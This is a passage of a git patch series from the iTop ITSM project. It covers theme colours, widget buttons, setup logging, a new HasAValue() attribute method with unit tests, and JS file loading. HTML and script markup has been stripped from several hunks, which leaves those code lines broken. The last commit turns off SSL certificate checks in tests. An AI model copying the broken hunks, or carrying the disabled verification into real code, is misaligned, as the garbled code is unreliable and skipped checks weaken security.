$ibo-scrollbar--scrollbar-thumb-background-color: $ibo-color-grey-900; +$ibo-navigation-menu--drawer--background-color: $ibo-color-grey-700; $ibo-navigation-menu--body--background-color: $ibo-color-grey-900; $ibo-navigation-menu--bottom-part--background-color: $ibo-color-grey-850; @@ -229,7 +230,7 @@ $ibo-search-form-panel--criteria--color: $ibo-color-grey-100; $ibo-search-form-panel--more-criteria--background-color: $ibo-color-grey-800; $ibo-search-form-panel--more-criteria--color: $ibo-color-grey-100; $ibo-search-form-panel--more-criteria--icon--color: $ibo-color-primary-500; -$ibo-search-form-panel--criteria--border-color: $ibo-color-grey-500; +$ibo-search-form-panel--criteria--border-color: $ibo-color-grey-900; $ibo-search-form-panel--multiple-choice--hover--color: $ibo-color-grey-500; $ibo-search-form-panel--items--hover--color: $ibo-search-form-panel--multiple-choice--hover--color; From 98ab5aa1a47d63be734548e67cf9e106421eddb8 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:59:49 +0100 Subject: [PATCH 173/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20menu=20drawer?= =?UTF-8?q?=20color=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 1 - 1 file changed, 1 deletion(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 849d558fb..9e55c5f13 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -57,7 +57,6 @@ $pre-background: $ibo-color-grey-600; $ibo-scrollbar--scrollbar-track-background-color: $ibo-color-grey-700; $ibo-scrollbar--scrollbar-thumb-background-color: $ibo-color-grey-900; -$ibo-navigation-menu--drawer--background-color: $ibo-color-grey-700; $ibo-navigation-menu--body--background-color: $ibo-color-grey-900; $ibo-navigation-menu--bottom-part--background-color: $ibo-color-grey-850; From 93c0b98eb756848b761959f47dc6778fcd27eb2e Mon Sep 17 00:00:00 2001 From: Denis Date: Fri, 3 Mar 2023 14:12:09 +0100 Subject: [PATCH 174/230] =?UTF-8?q?N=C2=B05922=20-=20Fix=20plus=20button?= =?UTF-8?q?=20semantic=20on=20ext.=20key=20widget=20(#448)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * N°5922 - Enhance plus button on extkeywidget * Properly reset the target class when closing the dialog * Make icon buttons as actual clickable links for BeHat * Apply suggestions from code review Review by Guillaume. Thanks! Co-authored-by: Molkobain --- application/ui.extkeywidget.class.inc.php | 12 +++++++----- css/backoffice/components/_field.scss | 3 +++ js/extkeywidget.js | 16 +++++++++++----- pages/ajax.render.php | 5 +++-- 4 files changed, 24 insertions(+), 12 deletions(-) diff --git a/application/ui.extkeywidget.class.inc.php b/application/ui.extkeywidget.class.inc.php index 22f12f736..15871a260 100644 --- a/application/ui.extkeywidget.class.inc.php +++ b/application/ui.extkeywidget.class.inc.php @@ -5,6 +5,7 @@ */ use Combodo\iTop\Application\UI\Base\Component\Form\FormUIBlockFactory; +use Combodo\iTop\Application\UI\Base\Component\Input\InputUIBlockFactory; use Combodo\iTop\Application\UI\Base\Layout\UIContentBlockUIBlockFactory; use Combodo\iTop\Core\MetaModel\FriendlyNameType; @@ -323,12 +324,12 @@ EOF EOF ); $sHTMLValue .= "
"; - $sHTMLValue .= "
iId}\" onClick=\"oACWidget_{$this->iId}.Clear();\" data-tooltip-content='".Dict::S('UI:Button:Clear')."'>
"; + $sHTMLValue .= " iId}\" onClick=\"oACWidget_{$this->iId}.Clear();\" data-tooltip-content='".Dict::S('UI:Button:Clear')."'>"; } if ($bCreate && $bExtensions) { $sCallbackName = (MetaModel::IsAbstract($this->sTargetClass)) ? 'SelectObjectClass' : 'CreateObject'; - $sHTMLValue .= "
iId}\" onClick=\"oACWidget_{$this->iId}.{$sCallbackName}();\" data-tooltip-content='".Dict::S('UI:Button:Create')."'>
"; + $sHTMLValue .= "iId}\" onClick=\"oACWidget_{$this->iId}.{$sCallbackName}();\" data-tooltip-content='".Dict::S('UI:Button:Create')."'>"; $oPage->add_ready_script( <<iId}').length == 0) @@ -339,7 +340,7 @@ JS ); } if ($bExtensions && MetaModel::IsHierarchicalClass($this->sTargetClass) !== false) { - $sHTMLValue .= "
iId}\" onClick=\"oACWidget_{$this->iId}.HKDisplay();\" data-tooltip-content='".Dict::S('UI:Button:SearchInHierarchy')."'>
"; + $sHTMLValue .= "iId}\" onClick=\"oACWidget_{$this->iId}.HKDisplay();\" data-tooltip-content='".Dict::S('UI:Button:SearchInHierarchy')."'>"; $oPage->add_ready_script( <<iId}').length == 0) @@ -350,7 +351,7 @@ JS ); } if ($oAllowedValues->CountExceeds($iMaxComboLength)) { - $sHTMLValue .= "
iId}\" onClick=\"oACWidget_{$this->iId}.Search();\" data-tooltip-content='".Dict::S('UI:Button:Search')."'>
"; + $sHTMLValue .= " iId}\" onClick=\"oACWidget_{$this->iId}.Search();\" data-tooltip-content='".Dict::S('UI:Button:Search')."'>"; } $sHTMLValue .= "
"; $sHTMLValue .= "
"; @@ -904,7 +905,7 @@ JS { // For security reasons: check that the "proposed" class is actually a subclass of the linked class // and that the current user is allowed to create objects of this class - $aSubClasses = MetaModel::EnumChildClasses($this->sTargetClass); + $aSubClasses = MetaModel::EnumChildClasses($this->sTargetClass, ENUM_CHILD_CLASSES_ALL); $aPossibleClasses = array(); foreach($aSubClasses as $sCandidateClass) { @@ -924,6 +925,7 @@ JS $sDialogTitleEscaped = addslashes($sDialogTitle); $oPage->add_ready_script("$('#ac_create_$this->iId').dialog({ width: 'auto', height: 'auto', maxHeight: $(window).height() - 50, autoOpen: false, modal: true, title: '$sDialogTitleEscaped'});\n"); $oPage->add_ready_script("$('#ac_create_{$this->iId} form').removeAttr('onsubmit');"); + $oPage->add_ready_script("$('#ac_create_{$this->iId} form').find('select').attr('id', 'ac_create_{$this->iId}_select');"); $oPage->add_ready_script("$('#ac_create_{$this->iId} form').on('submit.uilinksWizard', oACWidget_{$this->iId}.DoSelectObjectClass);"); } diff --git a/css/backoffice/components/_field.scss b/css/backoffice/components/_field.scss index 736a756b3..daa40251e 100644 --- a/css/backoffice/components/_field.scss +++ b/css/backoffice/components/_field.scss @@ -253,3 +253,6 @@ $ibo-field--enable-bulk--checkbox--margin-left: $ibo-spacing-300 !default; margin-left: $ibo-field--enable-bulk--checkbox--margin-left; } +.ibo-input-select--action-buttons a { + @extend %ibo-hyperlink-inherited-colors; +} \ No newline at end of file diff --git a/js/extkeywidget.js b/js/extkeywidget.js index 62210f4d0..38862366f 100644 --- a/js/extkeywidget.js +++ b/js/extkeywidget.js @@ -634,7 +634,7 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper // will force it be of the same class as the previous call) me.sTargetClass = me.sOriginalTargetClass; - me.CreateObject(oWizHelper); + me.CreateObject(); }; this.DoSelectObjectClass = function () { @@ -646,13 +646,12 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper // Setting new target class me.sTargetClass = oSelectedClass.val(); - // Opening real creation form + me.CreateObject(true); $('#ac_create_'+me.id).dialog('close'); - me.CreateObject(); }; - this.CreateObject = function (oWizHelper) { + this.CreateObject = function (bTargetClassSelected) { if ($('#'+me.id).prop('disabled')) { return; } // Disabled, do nothing @@ -670,7 +669,8 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper sAttCode: me.sAttCode, 'json': me.oWizardHelper.ToJSON(), operation: 'objectCreationForm', - ajax_promise_id: sPromiseId + ajax_promise_id: sPromiseId, + bTargetClassSelected: bTargetClassSelected }; // Make sure that we cancel any pending request before issuing another @@ -678,6 +678,7 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper me.StopPendingRequest(); // Run the query and get the result back directly in HTML + var sLocalTargetClass = me.sTargetClass; // Remember the target class since it will be reset when closing the dialog me.ajax_request = $.post(AddAppContext(GetAbsoluteUrlAppRoot()+'pages/ajax.render.php'), theMap, function (data) { $('#ajax_'+me.id).html(data); @@ -687,6 +688,7 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper // Modify the action of the cancel button $('#ac_create_'+me.id+' button.cancel').off('click').on('click', me.CloseCreateObject); me.ajax_request = null; + me.sTargetClass = sLocalTargetClass; // Adjust the dialog's size to fit into the screen if ($('#ac_create_'+me.id).width() > ($(window).width()-40)) { $('#ac_create_'+me.id).width($(window).width()-40); @@ -714,6 +716,10 @@ function ExtKeyWidget(id, sTargetClass, sFilter, sTitle, bSelectMode, oWizHelper $('#ac_create_'+me.id).dialog("destroy"); $('#ac_create_'+me.id).remove(); $('#ajax_'+me.id).html(''); + // Resetting target class to its original value + // (If not done, closing the dialog and trying to create a object again + // will force it be of the same class as the previous call) + me.sTargetClass = me.sOriginalTargetClass; }; this.DoCreateObject = function () { diff --git a/pages/ajax.render.php b/pages/ajax.render.php index 3b871f467..1bc92412a 100644 --- a/pages/ajax.render.php +++ b/pages/ajax.render.php @@ -410,9 +410,10 @@ try $iInputId = utils::ReadParam('iInputId', ''); $sAttCode = utils::ReadParam('sAttCode', ''); $sJson = utils::ReadParam('json', '', false, 'raw_data'); - // Building form, if target class is abstract we ask the user for the desired leaf class + $bTargetClassSelected = utils::ReadParam('bTargetClassSelected', '', false, 'raw_data'); + // Building form, if target class has child classes we ask the user for the desired leaf class, unless we've already done just that $oWidget = new UIExtKeyWidget($sTargetClass, $iInputId, $sAttCode, false); - if(MetaModel::IsAbstract($sTargetClass)) + if(!$bTargetClassSelected && MetaModel::HasChildrenClasses($sTargetClass)) { $oWidget->GetClassSelectionForm($oPage); } From d908827787c83aca69cf8257304cfd90f793aca2 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 6 Mar 2023 11:24:46 +0100 Subject: [PATCH 175/230] =?UTF-8?q?N=C2=B06016=20Setup=20Wizard=20:=20fix?= =?UTF-8?q?=20MissingDependencyException=20message=20logged=20as=20html=20?= =?UTF-8?q?in=20setup.log?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Was the case since e831d66b (commit for parent bug N°5090) Now we are getting the text version in the log (and still the html one on screen) The unattended install isn't concerned : it just prints back CheckResult returned by \SetupUtils::CheckSelectedModules, with the exception text message ($e->getMessage()) --- setup/setuppage.class.inc.php | 16 ++++++++-------- setup/wizardsteps.class.inc.php | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/setup/setuppage.class.inc.php b/setup/setuppage.class.inc.php index a25ad3d23..549af6f9c 100644 --- a/setup/setuppage.class.inc.php +++ b/setup/setuppage.class.inc.php @@ -62,28 +62,28 @@ class SetupPage extends NiceWebPage return ''; } - public function info($sText) + public function info($sText, $sTextForLog = null) { $this->add("

$sText

\n"); - $this->log_info($sText); + self::log_info($sTextForLog ?? $sText); } - public function ok($sText) + public function ok($sText, $sTextForLog = null) { $this->add("
Success:$sText
"); - $this->log_ok($sText); + self::log_ok($sTextForLog ?? $sText); } - public function warning($sText) + public function warning($sText, $sTextForLog = null) { $this->add("
Warning:$sText
"); - $this->log_warning($sText); + self::log_warning($sTextForLog ?? $sText); } - public function error($sText) + public function error($sText, $sTextForLog = null) { $this->add("
$sText
"); - $this->log_error($sText); + self::log_error($sTextForLog ?? $sText); } public function form($aData) diff --git a/setup/wizardsteps.class.inc.php b/setup/wizardsteps.class.inc.php index 9adb5692c..097aa07cd 100644 --- a/setup/wizardsteps.class.inc.php +++ b/setup/wizardsteps.class.inc.php @@ -1386,7 +1386,7 @@ class WizStepModulesChoice extends WizardStep } catch(MissingDependencyException $e) { - $oPage->warning($e->getHtmlDesc()); + $oPage->warning($e->getHtmlDesc(), $e->getMessage()); } $this->bUpgrade = ($this->oWizard->GetParameter('install_mode') != 'install'); From c9e656f7a0701ace238464de50d4e225f540cb47 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Mon, 6 Mar 2023 11:34:57 +0100 Subject: [PATCH 176/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20configuration?= =?UTF-8?q?=20editor=20selected=20line=20contrast=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scss/ace_editor.scss | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss index 41c542db7..7c0ff19ae 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss @@ -22,10 +22,16 @@ color: $ibo-color-red-600 !important; } .ace-eclipse .ace_marker-layer .ace_active-line { - background: $ibo-color-grey-600 !important; + &:only-child { + background: $ibo-color-grey-600 !important; + } + + &:not(:only-child) { + background: $ibo-color-grey-700 !important; + } } .ace-eclipse .ace_marker-layer .ace_selection { - background: $ibo-color-grey-600 !important; + background: $ibo-color-grey-500 !important; } .ace-eclipse.ace_multiselect .ace_selection.ace_start { box-shadow: 0 0 3px 0px $ibo-color-grey-800 !important; From 03fb78c38cad03c4adbfacd980e4f9c1deb09ab3 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 6 Mar 2023 14:23:21 +0100 Subject: [PATCH 177/230] =?UTF-8?q?N=C2=B06068=20Setup=20:=20fix=20no=20fo?= =?UTF-8?q?rmatting=20on=20error=20messages?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- setup/setuppage.class.inc.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/setup/setuppage.class.inc.php b/setup/setuppage.class.inc.php index 87b2b9942..106ce7501 100644 --- a/setup/setuppage.class.inc.php +++ b/setup/setuppage.class.inc.php @@ -77,25 +77,25 @@ class SetupPage extends NiceWebPage public function info($sText, $sTextForLog = null) { - $this->add("

$sText

\n"); + $this->add("

$sText

\n"); SetupLog::Info($sTextForLog ?? $sText); } public function ok($sText, $sTextForLog = null) { - $this->add("
Success:$sText
"); + $this->add("
Success:$sText
"); SetupLog::Ok($sTextForLog ?? $sText); } public function warning($sText, $sTextForLog = null) { - $this->add("
Warning:$sText
"); + $this->add("
Warning:$sText
"); SetupLog::Warning($sTextForLog ?? $sText); } public function error($sText, $sTextForLog = null) { - $this->add("
$sText
"); + $this->add("
$sText
"); SetupLog::Error($sTextForLog ?? $sText); } From a34274b8831687fb35c8de9045445d5a6fa8ac41 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 7 Mar 2023 10:16:14 +0100 Subject: [PATCH 178/230] =?UTF-8?q?N=C2=B05784=20-=20PHP=208.0:=20Fix=20ma?= =?UTF-8?q?ndatory=20attribute=20not=20visible=20in=20transition=20form=20?= =?UTF-8?q?due=20to=20bad=20emptiness=20test=20(#379)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * N°5784 - PHP 8.0: Fix mandatory attribute not visible in transition form due to bad emptiness test * N°5784 - Rework AttributeDefinition::HasAValue() implementation after code review * N°5784 - Add unit test --- application/cmdbabstract.class.inc.php | 5 +- core/attributedef.class.inc.php | 177 ++++++++++++++++++ core/dbobject.class.php | 14 ++ .../core/AttributeDefTest.inc.php | 144 ++++++++++++++ 4 files changed, 338 insertions(+), 2 deletions(-) diff --git a/application/cmdbabstract.class.inc.php b/application/cmdbabstract.class.inc.php index 31ae27075..7193a4f2a 100644 --- a/application/cmdbabstract.class.inc.php +++ b/application/cmdbabstract.class.inc.php @@ -3374,13 +3374,14 @@ EOF // Consider only the "expected" fields for the target state if (array_key_exists($sAttCode, $aExpectedAttributes)) { $iExpectCode = $aExpectedAttributes[$sAttCode]; + // Prompt for an attribute if // - the attribute must be changed or must be displayed to the user for confirmation // - or the field is mandatory and currently empty if (($iExpectCode & (OPT_ATT_MUSTCHANGE | OPT_ATT_MUSTPROMPT)) || - (($iExpectCode & OPT_ATT_MANDATORY) && ($this->Get($sAttCode) == ''))) { - $oAttDef = MetaModel::GetAttributeDef($sClass, $sAttCode); + (($iExpectCode & OPT_ATT_MANDATORY) && (false === $this->HasAValue($sAttCode)))) { $aArgs = array('this' => $this); + $oAttDef = MetaModel::GetAttributeDef($sClass, $sAttCode); // If the field is mandatory, set it to the only possible value if ((!$oAttDef->IsNullAllowed()) || ($iExpectCode & OPT_ATT_MANDATORY)) { if ($oAttDef->IsExternalKey()) { diff --git a/core/attributedef.class.inc.php b/core/attributedef.class.inc.php index 30c72ebb0..4692ff52b 100644 --- a/core/attributedef.class.inc.php +++ b/core/attributedef.class.inc.php @@ -705,6 +705,18 @@ abstract class AttributeDefinition return is_null($proposedValue); } + /** + * @param mixed $proposedValue + * + * @return bool True if $proposedValue is an actual value set in the attribute, false is the attribute remains "empty" + * @since 3.0.3, 3.1.0 N°5784 + */ + public function HasAValue($proposedValue): bool + { + // Default implementation, we don't really know what type $proposedValue will be + return is_null($proposedValue); + } + /** * force an allowed value (type conversion and possibly forces a value as mySQL would do upon writing! * @@ -1384,6 +1396,15 @@ class AttributeDashboard extends AttributeDefinition { return ''; } + + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + // Always return false for now, we don't consider a custom version of a dashboard + return false; + } } /** @@ -2233,6 +2254,22 @@ class AttributeLinkedSet extends AttributeDefinition { return false; } + + /** + * @inheritDoc + * @param \ormLinkSet $proposedValue + */ + public function HasAValue($proposedValue): bool + { + // Protection against wrong value type + if (false === ($proposedValue instanceof ormLinkSet)) + { + return parent::HasAValue($proposedValue); + } + + // We test if there is at least 1 item in the linkset (new or existing), not if an item is being added to it. + return $proposedValue->Count() > 0; + } } /** @@ -2614,6 +2651,14 @@ class AttributeInteger extends AttributeDBField return is_null($proposedValue); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return utils::IsNotNullOrEmptyString($proposedValue); + } + public function MakeRealValue($proposedValue, $oHostObj) { if (is_null($proposedValue)) @@ -2713,6 +2758,14 @@ class AttributeObjectKey extends AttributeDBFieldVoid return ($proposedValue == 0); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return ((int) $proposedValue) !== 0; + } + public function MakeRealValue($proposedValue, $oHostObj) { if (is_null($proposedValue)) @@ -2912,6 +2965,14 @@ class AttributeDecimal extends AttributeDBField return is_null($proposedValue); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return utils::IsNotNullOrEmptyString($proposedValue); + } + public function MakeRealValue($proposedValue, $oHostObj) { if (is_null($proposedValue)) @@ -3323,6 +3384,14 @@ class AttributeString extends AttributeDBField return ($proposedValue == ''); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return utils::IsNotNullOrEmptyString($proposedValue); + } + public function MakeRealValue($proposedValue, $oHostObj) { if (is_null($proposedValue)) @@ -4478,6 +4547,22 @@ class AttributeCaseLog extends AttributeLongText return ($proposedValue->GetText() == ''); } + /** + * @inheritDoc + * @param \ormCaseLog $proposedValue + */ + public function HasAValue($proposedValue): bool + { + // Protection against wrong value type + if (false === ($proposedValue instanceof ormCaseLog)) { + return parent::HasAValue($proposedValue); + } + + // We test if there is at least 1 entry in the log, not if the user is adding one + return $proposedValue->GetEntryCount() > 0; + } + + public function ScalarToSQL($value) { if (!is_string($value) && !is_null($value)) @@ -6798,6 +6883,14 @@ class AttributeExternalKey extends AttributeDBFieldVoid return ($proposedValue == 0); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return ((int) $proposedValue) !== 0; + } + public function MakeRealValue($proposedValue, $oHostObj) { if (is_null($proposedValue)) @@ -7530,6 +7623,16 @@ class AttributeExternalField extends AttributeDefinition return $oExtAttDef->IsNull($proposedValue); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + $oExtAttDef = $this->GetExtAttDef(); + + return $oExtAttDef->HasAValue($proposedValue); + } + public function MakeRealValue($proposedValue, $oHostObj) { $oExtAttDef = $this->GetExtAttDef(); @@ -8116,6 +8219,20 @@ class AttributeBlob extends AttributeDefinition return $oFormField; } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + if (false === ($proposedValue instanceof ormDocument)) { + return parent::HasAValue($proposedValue); + } + + // Empty file (no content, just a filename) are supported since PR {@link https://github.com/Combodo/combodo-email-synchro/pull/17}, so we check for both empty content and empty filename to determine that a document has no value + return utils::IsNotNullOrEmptyString($proposedValue->GetData()) && utils::IsNotNullOrEmptyString($proposedValue->GetFileName()); + } + + } /** @@ -9142,6 +9259,17 @@ class AttributeStopWatch extends AttributeDefinition return $sRet; } + + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + // A stopwatch always has a value + return true; + } + + } /** @@ -9627,6 +9755,19 @@ class AttributeOneWayPassword extends AttributeDefinition implements iAttributeN return '*****'; } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + // Protection against wrong value type + if (false === ($proposedValue instanceof ormPassword)) { + return parent::HasAValue($proposedValue); + } + + return $proposedValue->IsEmpty() !== false; + } + } // Indexed array having two dimensions @@ -9676,6 +9817,15 @@ class AttributeTable extends AttributeDBField return (count($proposedValue) == 0); } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + return count($proposedValue) > 0; + } + + public function GetEditValue($sValue, $oHostObj = null) { return ''; @@ -10197,6 +10347,18 @@ abstract class AttributeSet extends AttributeDBFieldVoid return $proposedValue->Count() == 0; } + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + if (false === ($proposedValue instanceof ormSet)) { + return parent::HasAValue($proposedValue); + } + + return $proposedValue->Count() > 0; + } + /** * To be overloaded for localized enums * @@ -12904,6 +13066,21 @@ class AttributeCustomFields extends AttributeDefinition return $bEquals; } + + /** + * @inheritDoc + */ + public function HasAValue($proposedValue): bool + { + // Protection against wrong value type + if (false === ($proposedValue instanceof ormCustomFieldsValue)) { + return parent::HasAValue($proposedValue); + } + + return count($proposedValue->GetValues()) > 0; + } + + } class AttributeArchiveFlag extends AttributeBoolean diff --git a/core/dbobject.class.php b/core/dbobject.class.php index 1a1fc51f3..147764f93 100644 --- a/core/dbobject.class.php +++ b/core/dbobject.class.php @@ -4001,6 +4001,20 @@ abstract class DBObject implements iDisplay return $bSuccess; } + /** + * @param string $sAttCode + * + * @return bool True if $sAttCode has an actual value set, false is the attribute remains "empty" + * @throws \ArchivedObjectException + * @throws \CoreException + * @since 3.0.3, 3.1.0 N°5784 + */ + public function HasAValue(string $sAttCode): bool + { + $oAttDef = MetaModel::GetAttributeDef(get_class($this), $sAttCode); + return $oAttDef->HasAValue($this->Get($sAttCode)); + } + /** * Helper to recover the default value (aka when an object is being created) * Suitable for use as a lifecycle action diff --git a/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php b/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php index 62bc0251d..fa70c5e3b 100644 --- a/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php +++ b/tests/php-unit-tests/unitary-tests/core/AttributeDefTest.inc.php @@ -29,4 +29,148 @@ class AttributeDefTest extends ItopDataTestCase { $this->assertEquals(["status" => "ENUM('active','inactive') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci"], $aImportColumns); } + + /** + * @dataProvider HasAValueProvider + * @covers AttributeDefinition::HasAValue + * + * @param $sObjectClass + * @param $sAttCode + * @param $sUpdateCode + * @param $bHasAValueInitially + * @param $bHasAValueOnceSet + * + * @return void + * @throws \ArchivedObjectException + * @throws \CoreException + */ + public function testHasAValue($sObjectClass, $sAttCode, $sUpdateCode, $bHasAValueInitially, $bHasAValueOnceSet) + { + $oObject = MetaModel::NewObject($sObjectClass); + + // Test attribute without a value yet + $this->assertEquals($bHasAValueInitially, $oObject->HasAValue($sAttCode)); + + eval($sUpdateCode); + + // Test attribute once a value has been set + $this->assertEquals($bHasAValueOnceSet, $oObject->HasAValue($sAttCode)); + } + + public function HasAValueProvider(): array + { + // Note: This is test is not great as we are datamodel dependent and don't have a class with all the attribute types + return [ + 'AttributeDashboard' => [ + 'Organization', + 'overview', + '', + false, + false, + ], + 'AttributeLinkedSet' => [ + 'UserRequest', + 'workorders_list', + <<Get('workorders_list'); +\$ormLinkset->AddItem(MetaModel::NewObject('WorkOrder', [])); +\$oObject->Set('workorders_list', \$ormLinkset); +PHP, + false, + true, + ], + 'AttributeLinkedSetIndirect' => [ + 'UserRequest', + 'contacts_list', + <<Get('contacts_list'); +\$ormLinkset->AddItem(MetaModel::NewObject('Person', [])); +\$oObject->Set('contacts_list', \$ormLinkset); +PHP, + false, + true, + ], + 'AttributeInteger' => [ + 'SLT', + 'value', + <<Set('value', 100); +PHP, + false, + true, + ], + 'AttributeDecimal' => [ + 'PhysicalInterface', + 'speed', + <<Set('speed', 1024.5); +PHP, + false, + true, + ], + 'AttributeString' => [ + 'UserRequest', + 'title', + <<Set('title', 'Some title'); +PHP, + false, + true, + ], + 'AttributeObjectKey' => [ + 'Attachment', + 'item_id', + <<Set('item_id', 12); +PHP, + false, + true, + ], + 'AttributeExternalKey' => [ + 'UserRequest', + 'org_id', + <<Set('org_id', 3); +PHP, + false, + true, + ], + 'AttributeBlob' => [ + 'DocumentFile', + 'file', + <<Set('file', new ormDocument('something', 'text/plain', 'something.txt')); +PHP, + false, + true, + ], + 'AttributeStopWatch' => [ + 'UserRequest', + 'tto', + '', + true, + true, + ], + 'AttributeSubItem' => [ + 'UserRequest', + 'tto_escalation_deadline', + '', + true, + true, + ], + 'AttributeOneWayPassword' => [ + 'UserLocal', + 'password', + <<Set('password', \$ormPassword); +PHP, + false, + true, + ], + ]; + } } \ No newline at end of file From 176e373d6c7ce6e78ebf7dea58b9a04a96faafa0 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 7 Mar 2023 22:03:20 +0100 Subject: [PATCH 179/230] =?UTF-8?q?N=C2=B05530=20-=20Fix=20list=20of=20imp?= =?UTF-8?q?acted=20elements=20(Impact=20Analysis)=20not=20display=20correc?= =?UTF-8?q?tly=20due=20to=20mixup=20in=20async=20JS=20files=20loading?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- js/dataTables.settings.js | 4 +- .../backoffice/ajaxpage/layout.html.twig | 134 ++++++++++++------ .../pages/backoffice/webpage/layout.html.twig | 32 ++++- 3 files changed, 116 insertions(+), 54 deletions(-) diff --git a/js/dataTables.settings.js b/js/dataTables.settings.js index 52754a972..d2e7f5253 100644 --- a/js/dataTables.settings.js +++ b/js/dataTables.settings.js @@ -89,11 +89,11 @@ $(function () { aOptions = $.extend(aOptions, JSON.parse(data)); if (aOptions.js_files) { $.each(aOptions.js_files, function (i, item) { - if ($.inArray(item, aListJsFiles) === -1) + if ($.inArray(item, aLoadedJsFilesRegister) === -1) { sFileUrl = CombodoGlobalToolbox.AddParameterToUrl(item, aOptions.js_files_param, aOptions.js_files_value); $.ajax({url:sFileUrl, dataType: 'script', cache: true }); - aListJsFiles.push(item); + aLoadedJsFilesRegister.push(item); } }); } diff --git a/templates/pages/backoffice/ajaxpage/layout.html.twig b/templates/pages/backoffice/ajaxpage/layout.html.twig index ecd001a2a..74dbc7ba1 100644 --- a/templates/pages/backoffice/ajaxpage/layout.html.twig +++ b/templates/pages/backoffice/ajaxpage/layout.html.twig @@ -35,55 +35,99 @@ {% set sId = oLayout.GetId() | sanitize(constant('utils::ENUM_SANITIZATION_FILTER_VARIABLE_NAME')) %} {% block iboPageJsFiles %} {% endblock %} {% else %} diff --git a/templates/pages/backoffice/webpage/layout.html.twig b/templates/pages/backoffice/webpage/layout.html.twig index 457075bf1..2dd8483b7 100644 --- a/templates/pages/backoffice/webpage/layout.html.twig +++ b/templates/pages/backoffice/webpage/layout.html.twig @@ -64,14 +64,32 @@ {{ render_block(oBlock, {aPage: aPage}) }} {% endfor %} {% endblock %} -{% if aPage.aJsFiles is not empty %} - -{% endif %} + aLoadedJsFilesRegister.set("{{ sJsFile|raw }}", new Promise(function(resolve) { + aLoadedJsFilesResolveCallbacks.set("{{ sJsFile|raw }}", resolve); + // Resolve promise right away as these files are loaded immediately before any inline JS is executed + aLoadedJsFilesResolveCallbacks.get("{{ sJsFile|raw }}")(); + })); + {% endfor %} + + {% block iboPageJsFiles %} {% for sJsFile in aPage.aJsFiles %} From 01faf39372f05ce9f9debedc8a818d226701eafd Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 7 Mar 2023 22:50:29 +0100 Subject: [PATCH 180/230] Tests: Force Synchro unit tests not to verify SSL certificate as most dev / test envs are self-signed --- .../php-unit-tests/unitary-tests/synchro/DataSynchroTest.php | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php b/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php index 62c7262fd..403771b4d 100644 --- a/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php +++ b/tests/php-unit-tests/unitary-tests/synchro/DataSynchroTest.php @@ -99,7 +99,10 @@ class DataSynchroTest extends ItopDataTestCase $sUrl = \MetaModel::GetConfig()->Get('app_root_url').'/synchro/synchro_import.php?login_mode=form'; - $sResult = 